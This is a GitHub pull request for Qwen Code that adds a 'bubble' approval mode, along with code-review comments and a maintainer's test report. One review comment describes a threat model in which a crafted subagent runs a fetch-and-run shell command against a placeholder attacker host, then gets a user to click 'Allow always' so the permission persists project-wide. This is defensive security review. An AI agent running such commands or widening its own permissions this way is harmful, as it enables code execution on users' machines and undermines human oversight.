Skip to content

feat(core,cli): bubble background subagent permission prompts to the parent session#4955

Merged
wenshao merged 15 commits into
QwenLM:mainfrom
qqqys:feat/bg-permission-bubble
Jun 12, 2026
Merged

feat(core,cli): bubble background subagent permission prompts to the parent session#4955
wenshao merged 15 commits into
QwenLM:mainfrom
qqqys:feat/bg-permission-bubble

Conversation

@qqqys

@qqqys qqqys commented Jun 10, 2026

Copy link
Copy Markdown
Collaborator

What this PR does

Adds permission bubbling for background subagents: a subagent definition can set approvalMode: bubble, and when such an agent runs in the background and one of its tool calls needs interactive confirmation, the request is parked and surfaced in the parent session's Background tasks UI as an answerable approval prompt — instead of being auto-denied. The user approves or denies from the footer pill → dialog detail view (same ToolConfirmationMessage component the foreground path uses, with persistent "allow always" choices hidden and downgraded to one-shot approvals), and the agent resumes.

bubble is a subagent-only approvalMode value, deliberately not added to the session-level ApprovalMode enum (it has no meaning as a session mode and would pollute the approval pickers). It resolves to default run behavior — tool calls still require confirmation — and only changes what happens to that confirmation on the background path, in interactive sessions. Headless and non-interactive contexts (-p, ACP, SDK, serve) keep the existing auto-deny, so nothing can hang waiting on a prompt no surface will answer.

Implementation outline:

  • core / BackgroundTaskRegistry: a parked-approval queue per entry (pendingApprovals), addPendingApproval / resolvePendingApproval / clearPendingApproval, an approval-change callback for UI subscription, and bridgeApprovalEvents (subscribes an agent emitter: TOOL_WAITING_APPROVAL parks, TOOL_RESULT clears stale prompts — mirroring the foreground path's IDE-resolution guard). Every terminal transition (complete / fail / cancel / finalizeCancelled / abandon) auto-rejects parked calls with Cancel so the agent's reasoning loop never hangs; cancel() rejects before aborting so respond(Cancel) fires ahead of the abort-driven queue clear, and auto-reject failures are caught on the promise (an async respond rejection would escape a plain try/catch as an unhandledRejection).
  • core / launch + resume: the gate (approvalMode === 'bubble' && isInteractive()) is applied identically in the Agent tool's background launch path and in background-agent-resume.ts, so a resumed agent of the same definition keeps bubbling instead of silently reverting to auto-deny.
  • cli: footer pill gains a ⚠ needs approval marker, dialog list rows are flagged, and the detail view embeds the confirmation prompt. While a compact approval prompt is up the embedded component owns selection keys, while (back to list, approval stays parked) and x (stop the agent) remain available. Question-style prompts keep their own free-text and navigation keys so answers are not intercepted.

Why it's needed

Closes #4928.

Today a background subagent that hits a single permission-gated call (a git push, an rm, a network call) is denied with "background agents cannot prompt for confirmation", reports failure, and the parent model typically re-runs the same command in the foreground — where the user gets the prompt anyway. The work bounces back and serializes: one extra round-trip, one wasted agent run, and backgrounding defeated for exactly the tasks long enough to be worth backgrounding. PermissionRequest hooks could already override the denial programmatically, but there was no path for the user to answer.

Reviewer Test Plan

How to verify

  1. In a trusted git project, create .qwen/agents/bubbler.md:

    ---
    name: bubbler
    description: Runs one shell command in the background and reports raw output.
    background: true
    approvalMode: bubble
    ---
    
    You are a test agent. Use the shell tool to execute EXACTLY the one command
    given in the task prompt, then report its raw output verbatim.
  2. Start the CLI in default approval mode (not yolo/auto-edit) and prompt: "用 bubbler 这个 subagent 执行 shell 命令 git push --dry-run origin main 并把原始输出汇报给我" (any non-allowlisted, confirmation-requiring command works; read-only commands are auto-allowed and won't exercise the path).

  3. Approve the agent launch. Within a few seconds the footer pill shows 1 local agent ⚠ needs approval.

  4. From an empty composer press Enter to open the agent's detail view: a "Background agent needs approval" banner shows the exact command with Yes, allow once / No. For compact tool prompts, returns to the list (prompt stays parked) and x stops the agent; question-style prompts keep those keys for text input and navigation.

  5. Approve → the agent resumes, runs the command, completes, and the parent receives the normal task-notification with the real output. The transcript (<projectDir>/subagents/<sessionId>/agent-*.jsonl) contains no "cannot prompt for confirmation" denial.

  6. Counter-checks: the same flow without approvalMode: bubble (e.g. plain general-purpose) still auto-denies exactly as before; non-interactive runs (-p) keep auto-deny regardless of the flag.

Test suites: packages/core — background-tasks (16 new approval cases incl. a production-ordering cancel test wiring the bridge + abort chain), subagent-manager (frontmatter parse/validate/round-trip for bubble, unknown-mode rejection), agent (resolveSubagentApprovalMode bubble resolution + permissive-parent precedence); packages/cli — pill hasPendingApproval, background-view suites.

Evidence (Before & After)

Before (any background subagent, current main): agent fails with Tool "Shell" requires permission, but background agents cannot prompt for confirmation. The tool call was denied. → parent re-runs the command in the foreground and prompts there.

After (tmux against this branch, real model):

? for shortcuts · 1 local agent ⚠ needs approval
  ○ bubbler: Launch bubbler for git push (Shell git push --dry-run origin main) ▶ 5s · 15k tokens

Detail view:

│ bubbler › Launch bubbler for git push          │
│ Progress                                       │
│ > Shell(git push --dry-run origin main …)      │
│  Background agent needs approval               │
│    git push --dry-run origin main              │
│  Do you want to proceed?                       │
│  › 1. Yes, allow once                          │
│    2. No                                       │

After approving:

● Background agent "bubbler: Launch bubbler for git push" completed.
   1 To /tmp/bubble-e2e-remote.git
   2  * [new branch]      main -> main

Tested on: macOS (darwin arm64), Node 22.

Known follow-ups (out of scope here)

  • Built-in agents (general-purpose, fork) do not bubble by default — enabling fork by default and giving it / a worker-style built-in approvalMode: bubble is tracked separately.
  • The detail view renders one parked approval at a time without a "1 of N" depth indicator; multiple parked approvals surface sequentially.

…parent session

Background subagents auto-deny any tool call that needs interactive confirmation, so a single permission-gated step (a git push, an rm, a network call) silently fails and the work bounces back to the parent turn — defeating the point of backgrounding. This adds an opt-in approvalMode value for subagent definitions, `bubble`: instead of denying, the call is parked on the BackgroundTaskRegistry and surfaced in the Background tasks dialog, where the user answers it through the shared ToolConfirmationMessage; the agent then resumes.

- `bubble` is a subagent-only approvalMode (deliberately not a session-level ApprovalMode value); it resolves to `default` run behavior and only flips the background path from deny to surface, in interactive sessions. Headless / non-interactive contexts keep auto-deny.
- BackgroundTaskRegistry grows a parked-approval queue (add/resolve/clear), an approval-change callback, and an event bridge (TOOL_WAITING_APPROVAL parks, TOOL_RESULT clears stale prompts). Every terminal transition auto-rejects parked calls so the agent loop never hangs on an unanswerable prompt; cancel() rejects before aborting so respond(Cancel) actually fires ahead of the abort-driven queue clear. Auto-reject failures are caught on the promise, not via try/catch around a voided async call.
- The launch path (agent.ts) and the resume path (background-agent-resume.ts) share the same gate, so a resumed agent of the same definition keeps bubbling instead of silently reverting to auto-deny.
- TUI: the footer pill shows a "needs approval" marker, dialog list rows are flagged, and the detail view embeds the confirmation prompt. While a prompt is up, left (back) and x (stop agent) remain available as escape hatches so a re-parking agent cannot trap the keyboard.

Closes QwenLM#4928

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
check-i18n requires every zh key to have a zh-TW counterpart; the three
strings added for permission bubbling were registered in en/zh only.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
qqqys and others added 2 commits June 10, 2026 21:04
- resolvePendingApproval: if respond() rejects, the tool call is still parked in the scheduler, so re-add the approval and re-emit instead of silently clearing the prompt (which left the UI showing nothing pending while the agent hung). Returns false on failure.
- reset() and finalizeCancellationIfPending(): reject parked approvals defensively. The /resume and /clear paths already gate on hasBlockingBackgroundWork() so these only run on terminal entries today, but rejecting here means a future caller dropping that guard can't strand an unanswered respond() callback.
- resolveSubagentApprovalMode: resolve the subagent-only 'bubble' mode to Default explicitly rather than via approvalModeToPermissionMode's default fall-through, so a future ApprovalMode.BUBBLE enum member can't silently change it.

Adds tests for the fail / finalizeCancelled / reset auto-reject paths and the respond()-rejection re-park.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
…g-permission-bubble

# Conflicts:
#	packages/core/src/subagents/subagent-manager.test.ts

@DragonnZhang DragonnZhang left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Automated Review - PR #4955

Verdict: 1 high-confidence issue blocking CI

CI status

  • Lint: FAILURE (TypeScript compilation error)
  • Test (ubuntu/macos/windows): FAILURE (cascading from build failure)
  • CodeQL: SUCCESS

Finding: Missing args property in test event mocks breaks build (Critical)

File: packages/core/src/agents/background-tasks.test.ts, lines 1756, 1790, 1825

Three test cases emit TOOL_WAITING_APPROVAL events but the mock objects are missing the required args: Record<string, unknown> property from AgentApprovalRequestEvent (defined in agent-events.ts:162). This causes tsc --build to fail, which is the root cause of all CI failures.

Fix: Add args: {} to each of the three TOOL_WAITING_APPROVAL event objects.

General observations

The implementation is well-structured. The approval parking/resolve/clear lifecycle handles edge cases thoroughly (terminal-state auto-reject, cancel-before-abort ordering, respond() failure re-park, bridge cleanup). Test coverage is solid with 16+ new test cases. The bubble mode design is clean.

registry.bridgeApprovalEvents('bg-appr-cancel', emitter);

const respond = vi.fn(async () => {});
emitter.emit(AgentEventType.TOOL_WAITING_APPROVAL, {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Build-breaking type error: This TOOL_WAITING_APPROVAL event object is missing the required args property from AgentApprovalRequestEvent (see agent-events.ts:162). Same issue at lines 1790 and 1825.

Add args: {} to fix:

emitter.emit(AgentEventType.TOOL_WAITING_APPROVAL, {
  subagentId: 'bg-appr-cancel',
  round: 1,
  callId: 'c1',
  name: 'Shell',
  description: 'run c1',
  args: {},  // <-- required by AgentApprovalRequestEvent
  confirmationDetails: { type: 'exec' } as BackgroundApproval['confirmationDetails'],
  respond,
  timestamp: Date.now(),
});

This is the root cause of all CI failures (Lint + Test on all 3 platforms).

// registry above (and useBackgroundTaskView refreshes `entries` on the
// registry's approval-change callback), so `pendingApprovals` is current.
// When present in detail mode, the dialog renders the shared
// ToolConfirmationMessage and yields keyboard focus to it.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] selectedAgentId is computed identically to the pre-existing selectedAgentIdForActivity declared 8 lines above (line 968). Both evaluate selectedEntry?.kind === 'agent' ? selectedEntry.agentId : undefined.

Having two names for the same value in the same scope is confusing and invites divergence bugs if one is later changed without the other.

Suggested change
// ToolConfirmationMessage and yields keyboard focus to it.
const selectedApproval: BackgroundApproval | undefined =

Then replace selectedAgentId with selectedAgentIdForActivity in the approvalConfirmationDetails construction and resolvePendingApproval call below.

— qwen3.7-max via Qwen Code /review

DragonnZhang
DragonnZhang previously approved these changes Jun 11, 2026

@DragonnZhang DragonnZhang left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-reviewed at 75b36dd. No high-confidence issues found.

The permission-bubbling implementation is thorough and well-structured:

  • Lifecycle correctness: All terminal paths (complete, fail, cancel, abandon, finalizeCancelled, finalizeCancellationIfPending, reset) call rejectPendingApprovals to ensure parked respond() callbacks are never stranded. The cancel() method correctly rejects before abort, with a clear comment and test explaining why ordering matters (abort synchronously emits TOOL_RESULT which would clear the queue before a late reject fires).

  • Error recovery: resolvePendingApproval optimistically removes the approval, then re-parks it if respond() rejects — preventing a silent hang. The two-emission pattern (optimistic clear + re-park) is verified by test.

  • Type safety: The as ToolCallConfirmationDetails cast in the UI is sound — AgentApprovalRequestEvent.confirmationDetails is Omit<ToolCallConfirmationDetails, 'onConfirm'>, so adding onConfirm back via spread reconstructs the full type.

  • Keyboard handling: The approvalActive guard in the detail dialog correctly yields all keys except left-arrow (back) and 'x' (stop) to the embedded ToolConfirmationMessage, preventing double-fire between the two keypress handlers.

  • Test coverage: 18+ new tests cover the approval lifecycle, bridge wiring, cancel ordering, duplicate rejection, error recovery, and UI helpers.

CI is passing (CodeQL, Lint) with platform tests still in progress.

live.isBackgrounded &&
live.status === 'running' &&
!(live.pendingApprovals ?? []).some((a) => a.callId === callId)
) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] The re-park path re-adds the original approval object, but its respond closure has already been consumed. In agent-core.ts, the respond closure adds callId to the responded set before attempting onConfirm. When respond() rejects and this catch block re-parks, a subsequent user retry hits if (responded.has(callId)) return — silently succeeding without reaching the scheduler. The UI removes the approval (thinking it was answered), but the agent's tool call stays parked in awaiting_approval indefinitely. The only recovery is to cancel the agent.

Fix: Either (a) don't re-park and surface an error notification instead, or (b) create a fresh approval with a new respond closure that resets the responded guard for that callId.

— qwen3.7-max via Qwen Code /review

* once everything is terminal, switch to a generic "done" form so the pill
* still invites reopening the dialog to inspect final state.
*/
/**

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The pre-existing JSDoc block ("Pill label: prefer live running counts...") is now orphaned above hasPendingApproval instead of getPillLabel. Two consecutive /** */ blocks create misleading association — a reader scanning top-to-bottom will think the "Pill label" comment documents hasPendingApproval.

Suggested change
/**
/**
* True if any background agent has a tool call parked awaiting user
* approval (permission bubbling). Drives the pill's "needs approval"
* marker so the user is nudged to open the dialog and answer.
*/
export function hasPendingApproval(entries: readonly DialogEntry[]): boolean {

Then move the "Pill label" JSDoc back to directly above getPillLabel.

— qwen3.7-max via Qwen Code /review

6,
Math.floor(detailContentHeight / 2),
)}
compactMode

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Compact-mode ToolConfirmationMessage ignores hideAlwaysAllow and unconditionally renders the "Allow always" (ProceedAlways) option (see ToolConfirmationMessage.tsx ~lines 504-520 vs. the non-compact hideAlwaysAllow gates at lines 224, 374, 459).

When the user selects "Allow always", the ProceedAlways outcome flows through resolvePendingApprovalrespond()handleConfirmationResponsepersistPermissionOutcome. Because the background agent's config inherits from the parent via Object.create(agentConfig), the permission rule is persisted to the parent session's settings.json at project scope.

A crafted subagent definition with approvalMode: bubble could exploit this to escalate permissions: make a dangerous tool call (e.g., Shell(curl attacker.com/payload.sh | bash)), the approval bubbles to the parent UI, user clicks "Allow always", and now Bash(curl:*) is auto-approved project-wide for all future sessions.

Fix options:

  1. Downgrade ProceedAlways* outcomes to ProceedOnce in resolvePendingApproval before calling respond():
if (outcome === ToolConfirmationOutcome.ProceedAlways) {
  outcome = ToolConfirmationOutcome.ProceedOnce;
}
  1. Set hideAlwaysAllow: true on the BackgroundApproval's confirmationDetails and fix the compact-mode path to honor it.

— qwen3.7-max via Qwen Code /review

DragonnZhang
DragonnZhang previously approved these changes Jun 12, 2026

@DragonnZhang DragonnZhang left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Re-reviewed at 753d308d (previously approved at 162ce4ef).

Summary: This PR adds permission bubbling for background subagents — when a background agent with approvalMode: bubble needs tool confirmation, the prompt surfaces in the parent session's Background Tasks UI instead of being auto-denied.

What I checked:

  • Approval lifecycle in BackgroundTaskRegistry: park, resolve, clear, auto-reject on terminal states (complete/fail/cancel/reset/abandon/finalize). Ordering is correct — rejectPendingApprovals fires before abort() in cancel() to avoid the synthetic TOOL_RESULT clearing the queue first.
  • normalizeBackgroundApprovalOutcome correctly downgrades ProceedAlways*ProceedOnce since persistent approvals don't make sense for background agents.
  • Resume path (background-agent-resume.ts) mirrors the launch path (agent.ts) — shouldBubble gate, bridge setup, cleanup.
  • UI keyboard delegation: when approvalActive, only (back) and x (stop) are intercepted by the dialog; all other keys yield to ToolConfirmationMessage.
  • hideAlwaysAllow: true on the reconstructed ToolCallConfirmationDetails is consistent with the persistent-approval downgrade.
  • Type propagation: AgentTask.pendingApprovalsDialogEntry (via TaskState = AgentTask | ShellTask | MonitorTask) is correct.
  • isSubagentApprovalMode reads APPROVAL_MODES lazily to avoid the circular-import initialization hazard.
  • New tests cover the full approval lifecycle, edge cases (late arrivals, duplicate callIds, respond rejection → agent failure), cancel ordering, and the hideAlwaysAllow UI flag.

No high-confidence issues found. Well-structured PR with thorough test coverage and careful attention to ordering invariants and edge cases.

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Reviewed at 753d308. Verified locally: the changed test suites all pass (background-tasks 81, subagent-manager, agent.test.ts -t resolveSubagentApprovalMode, plus the three CLI suites — 54 tests), and I traced the runtime paths this builds on (agent-core's approval emission and its responded idempotency guard, coreToolScheduler's auto-deny, AgentInteractive's foreground handling).

What this does well

  • Every terminal transition (complete / fail / cancel / finalizeCancelled / abandon / reset) auto-rejects parked approvals, and the cancel-before-abort ordering is locked in by a test that wires the real bridge + abort chain rather than mocking it.
  • The auto-reject vs. user-answer race is safe end to end: the runtime respond is idempotent (responded set), and resolvePendingApproval removes from the queue before responding.
  • The resume path mirrors the launch gate, so a resumed bubble agent doesn't silently revert to auto-deny; non-interactive surfaces (-p, ACP, serve) keep auto-deny via isInteractive().
  • Downgrading persistent outcomes to ProceedOnce plus hideAlwaysAllow is the right call — a prompt answered from the background dialog shouldn't mutate session/project allowlists.

Issues — details inline

  1. Medium — the unconditional x / escape hatches collide with bubbled ask_user_question confirmations (free-text "Other" input, / question navigation): typing x cancels the agent on the first press. Reachable with this PR's own example agent (no tools: allowlist → ['*']). (BackgroundTasksDialog.tsx)
  2. LowresolvePendingApproval's failure path marks the entry failed but never aborts the run, leaving a stuck agent whose finally cleanup never executes. (background-tasks.ts)
  3. NitnormalizeBackgroundApprovalOutcome misses the deprecated ProceedAlwaysServer / ProceedAlwaysTool. (background-tasks.ts)
  4. Docsdocs/users/features/sub-agents.md still lists the valid approvalMode values without bubble. (types.ts)

PR description is stale relative to the latest commit
The body says approvals work "including 'allow always' outcomes" and the evidence / test-plan step 4 show a 2. Allow always option — but 753d308 hides Allow-always (hideAlwaysAllow: true) and downgrades any persistent outcome to ProceedOnce. Please update the description and test plan (the rendered options are now Yes, allow once / No).

Design observation (no action needed)
Time spent parked counts against the agent's max_time_minutes budget (checked at the loop checkpoints in agent-core), so an approval the user notices late can be approved and then immediately time the agent out — and the footer pill is the only signal that an approval is waiting. Fine for v1 given the listed follow-ups; worth keeping in mind before enabling bubbling on built-ins.

exitDetail();
return;
}
if (key.sequence === 'x' && !key.ctrl && !key.meta) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The unconditional x / hatches collide with bubbled ask_user_question confirmations.

For confirmationDetails.type === 'ask_user_question', ToolConfirmationMessage early-returns AskUserQuestionDialog (before the compact-mode handling), and that dialog has a free-text "Other" TextInput plus / question navigation. This is reachable here: the ask_user_question tool's shouldConfirmExecute always requires confirmation, and a custom subagent without a tools: allowlist gets ['*'] (agent.ts:1198) — including this PR's own example bubbler agent.

Since useKeypress handlers broadcast (every active handler sees every key), while the user interacts with the embedded ask dialog:

  • typing any x character in the "Other" input calls handleCancelKey(), which for a backgrounded agent cancels immediately on the first press (the double-press arming at L1113 only applies to foreground agents) — the agent is killed mid-answer;
  • (cursor movement / previous-question navigation) also fires exitDetail(), unmounting the ask dialog and discarding the draft answers.

Suggest gating the hatches on the confirmation type — e.g. skip the plain x/ interception when selectedApproval?.confirmationDetails.type === 'ask_user_question' (Esc still denies, so the keyboard can't get trapped), or require a modifier while an approval is up.

`Failed to resolve background approval for ${agentId}/${callId}:`,
error,
);
this.fail(agentId, `Failed to resolve background approval: ${callId}`);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

When respond() rejects while the agent is still running, this marks the entry failed and notifies the parent, but nothing aborts entry.abortController — the underlying run is left alive. The runtime's respond consumes its responded guard before invoking onConfirm (agent-core.ts:1287-1306), so after a rejection the parked call can never be answered again, the tool batch never settles, and runBody's finally cleanup (approval bridge, jsonl, per-subagent ToolRegistry release) never runs — a stuck run holding resources while the UI says "failed", whose eventual real complete()/fail() is then swallowed by the status/notified guards.

Suggested change
this.fail(agentId, `Failed to resolve background approval: ${callId}`);
this.fail(agentId, `Failed to resolve background approval: ${callId}`);
entry.abortController.abort();

outcome: Parameters<BackgroundApproval['respond']>[0],
): Parameters<BackgroundApproval['respond']>[0] {
if (
outcome === ToolConfirmationOutcome.ProceedAlways ||

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

nit: the deprecated MCP outcomes ToolConfirmationOutcome.ProceedAlwaysServer / ProceedAlwaysTool aren't downgraded. They're unreachable from the dialog today (compact mode + hideAlwaysAllow leaves only once/cancel), but this function is the safety net for "a background prompt must not persist permissions" — any future surface that calls resolvePendingApproval with an MCP confirmation's native outcomes would slip through to respond() and mutate the allowlist. Cheap to include them here.

* Optional permission mode for this subagent.
* Controls how tool calls are approved during execution.
* Valid values: 'default', 'plan', 'auto-edit', 'yolo'.
* Valid values: 'default', 'plan', 'auto-edit', 'yolo', 'bubble'.

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

bubble is user-facing frontmatter now, but docs/users/features/sub-agents.md still documents the valid values as default, plan, auto-edit, yolo (the frontmatter example comment at L138 and the "Valid values" section at L199). Worth updating in this PR so the validation error message (Valid values: default, plan, auto-edit, yolo, bubble) and the docs don't disagree — including the background-only / interactive-only semantics, since that's the part users can't guess from the name.

// Non-interactive sessions can't answer, so they keep auto-deny.
// (`bubble` resolves to `default` run behavior, so the resolved mode
// already requires confirmation — this only flips deny → surface.)
const shouldBubble = Boolean(

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The shouldBubble gate (approvalMode === BUBBLE && isInteractive()), the Object.create(agentConfig) override with getShouldAvoidPermissionPrompts = () => !shouldBubble, and the conditional bridgeApprovalEvents + cleanupApprovalBridge?.() wiring are copy-pasted verbatim in background-agent-resume.ts (lines 568–575, 766). Three concerns must stay in sync across two files with only a comment ("Mirror the launch path's...") linking them.

If someone adds a third condition to the bubbling gate and updates only one site, freshly-launched and resumed agents will silently diverge — one bubbles, the other auto-denies.

Consider extracting a shared helper, e.g.:

function shouldBubbleApprovals(
  subagentConfig: SubagentConfig, config: Config,
): boolean {
  return subagentConfig.approvalMode === BUBBLE_APPROVAL_MODE && config.isInteractive();
}

The function name becomes the single grep target and the return type documents the contract.

— qwen3.7-max via Qwen Code /review

debugLogger.error(
`Failed to resolve background approval for ${agentId}/${callId}:`,
error,
);

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Two issues in this catch block:

  1. Too aggressive: a single respond() failure (e.g. partially torn-down runtime frames) kills the entire agent via abort() + fail(). A background agent that has been running for minutes with dozens of completed tool calls is destroyed because one permission callback rejected. Consider responding with Cancel to just the specific tool call (the approval was already removed from the queue at line 697) instead of aborting the whole agent.

  2. Reverses the cancel() ordering: cancel() (line 536) carefully calls rejectPendingApprovals(entry) BEFORE abort() — because abort() synchronously emits synthetic TOOL_RESULT that the bridge's onResult uses to clear the queue. But here abort() runs first (line 710), then fail() (which calls rejectPendingApprovals internally). If other approvals are concurrently parked, the abort can clear them via TOOL_RESULT before fail() reaches them, stranding their respond() callbacks.

If keeping the full abort, swap the order:

this.fail(agentId, `Failed to resolve background approval: ${callId}`);
entry.abortController.abort();

— qwen3.7-max via Qwen Code /review

expect(registry.getPendingApprovals('bg-appr-8')).toHaveLength(0);
});

it('cancel() rejects parked approvals before the abort-driven clear (production ordering)', () => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] The terminal-transition approval tests cover complete, fail, cancel, finalizeCancelled, and reset — but abandon() is missing. The existing abandon test (line 324) abandons a paused agent without parking any approvals first. Meanwhile, abandon() (source line 592) calls rejectPendingApprovals(entry).

A paused agent with a parked approval that the user abandons could leave the respond() callback stranded, causing the agent's reasoning loop to hang.

Add a test mirroring the cancel/fail patterns: register a paused entry, park an approval, call registry.abandon(agentId), assert respond was called with ToolConfirmationOutcome.Cancel and getPendingApprovals is empty.

— qwen3.7-max via Qwen Code /review

setStatusChangeCallback: vi.fn((next: (() => void) | undefined) => {
cb = next;
}),
setApprovalChangeCallback: vi.fn((next: (() => void) | undefined) => {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] The fake registry defines setApprovalChangeCallback and fireApproval helpers (this block), but no test assertion ever references them. Specifically:

  • The mount test does not assert setApprovalChangeCallback was called with a function
  • The unmount test does not assert it was called with undefined
  • No test fires fireApproval() and asserts entries refresh

The approval callback wiring in useBackgroundTaskView.ts (subscription, cleanup, refresh-on-fire) is entirely uncovered. If the subscription or cleanup is broken, the footer pill's "needs approval" marker would not update and users would miss approval prompts.

— qwen3.7-max via Qwen Code /review

});

it('should resolve the subagent-only "bubble" mode to Default (confirmation required)', () => {
// `bubble` is not a privileged mode — it requires confirmation like

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] The shouldBubble gate in agent.ts (line 2120) requires both approvalMode === BUBBLE_APPROVAL_MODE AND isInteractive(). The tests here cover the static resolveSubagentApprovalMode function but do not exercise the runtime shouldBubble gate. No test verifies that when isInteractive() returns false, a bubble-mode background agent still gets getShouldAvoidPermissionPrompts = () => true (auto-deny preserved for headless/ACP/SDK).

The non-interactive fallback is a core safety property: headless sessions must never surface an approval prompt no one can answer. Without a test, a refactor could silently allow prompts in headless mode, causing indefinite hangs.

— qwen3.7-max via Qwen Code /review

'Background tasks': 'Background tasks',
'No tasks currently running': 'No tasks currently running',
'No entry to show.': 'No entry to show.',
'needs approval': 'needs approval',

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Three new i18n keys are added here (needs approval, Background agent needs approval, Approve or deny the request above), but the other six locale files (ca.js, de.js, fr.js, ja.js, pt.js, ru.js) were not updated. The t() function falls back to the raw key string, so users of those locales will see English text in the background tasks pill and dialog. Consider adding translations to all locale files, or adding these keys to mustTranslateKeys.ts to enforce parity.

— qwen3.7-max via Qwen Code /review

@wenshao wenshao left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Downgraded from Approve to Comment: CI still running. — qwen3.7-max via Qwen Code /review

// x : stop the agent entirely (also auto-rejects its parked calls)
// Everything else yields so the dialog's own Enter/Esc handlers don't
// double-fire against the confirmation's.
if (approvalActive && !approvalUsesQuestionDialog) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The approvalUsesQuestionDialog guard correctly skips the compact escape hatches ( / x), but keys still fall through to the detail-mode handler below (~lines 1191–1215), which independently intercepts:

  • leftexitDetail()
  • escape / return / spacecloseDialog()

When an ask_user_question approval is active, the embedded AskUserQuestionDialog has its own useKeypress subscriber. Since KeypressContext.broadcast() iterates all subscribers without stop-propagation, both handlers fire: pressing space (toggle multi-select) or return (submit answer) also triggers closeDialog(), making the question dialog effectively unusable.

Suggested fix — add an early return for approvalUsesQuestionDialog before the detail-mode handler so AskUserQuestionDialog exclusively owns keyboard input:

if (approvalActive && approvalUsesQuestionDialog) {
  // AskUserQuestionDialog owns all keyboard input
  return;
}

Related to the R1 comment at line 1140 (x/ collision with ask_user_question) — that fix addressed the escape-hatches block but not this fall-through to the detail-mode handler.

— qwen3.7-max via Qwen Code /review

@wenshao

wenshao commented Jun 12, 2026

Copy link
Copy Markdown
Collaborator

Local runtime verification report (maintainer)

Verified this PR at head b62dede40 (merge-base on current main, MERGEABLE) with a locally built bundle and a real model (qwen3.7-max), driving the actual TUI through tmux. Followed the PR's Reviewer Test Plan end-to-end, then extended it with deny / stop / stays-parked / non-bubble / headless counter-checks. Everything below was reproduced from scratch in a throwaway git project with a local bare remote (so git push is a genuinely confirmation-gated, physically verifiable call).

Verdict: the feature works as described in every scenario I exercised — ✅ recommend merge. One UX observation worth the author's eyes (single-Esc double-effect, below), not a blocker.

1. Build + test suites

  • npm install && npm run bundle → clean (dist/cli.js v0.17.1).
  • Author-listed suites, all green: core 307/307 (background-tasks incl. the 16 new approval cases + production-ordering cancel test, subagent-manager, agent, background-agent-resume) and cli 111/111 (pill, background-view, ToolConfirmationMessage, useBackgroundTaskView). Zero failures, zero skips.
  • CI on the PR: Lint, CodeQL, and the 3-platform test matrix all green.

2. tmux E2E — author's script, then counter-checks

Fixture: /tmp git repo + bare origin; bubbler.md (background: true, approvalMode: bubble) and plain.md (same minus approvalMode) in .qwen/agents/; CLI in default approval mode.

# Scenario Result
1 Approve path (author's script) ✅ footer pill 1 local agent ⚠ needs approval appears seconds after launch; ↓↓ Enter opens the detail view with the "Background agent needs approval" banner, the exact command, and only Yes, allow once / No (persistent "allow always" correctly hidden); approving resumes the agent; it completes and the parent reports the real output verbatim (To /tmp/pr4955-remote.git · * [new branch] main -> main). Transcript contains zero "cannot prompt for confirmation"
2 Deny path ✅ chose No on a parked real git push: the parked respond delivered the denial (User did not allow in the transcript), the agent's loop did not hang — the model reacted and tried a different (also gated) command, which was parked again. Bare remote still has 0 branches: the denied push never executed
3 x stop with a parked approval ✅ stopping the agent from the detail view auto-rejected the parked call (cancelled by user in transcript), cleared the pill immediately, and the parent received the cancellation notification — the reject-before-abort ordering holds up in practice
4 stays-parked ✅ backing out of the detail view leaves the approval parked (pill keeps ⚠ needs approval); re-entering after >1 min re-renders the same prompt, still answerable, and approving then completes normally
5 Non-bubble agent (counter-check) plain with the identical task auto-denies exactly as before (cannot prompt for confirmation ×2 in its transcript), never shows . Bonus: the parent model then re-ran the push in the foreground and prompted there — a live reproduction of the exact bounce-back workflow this PR eliminates
6 Headless (-p, counter-check) ✅ same bubbler agent + --allowed-tools agent, non-interactive: the gated call was auto-denied (cannot prompt for confirmation ×1 in that session's transcript), the process exited 0 — nothing hung waiting on a prompt no surface can answer

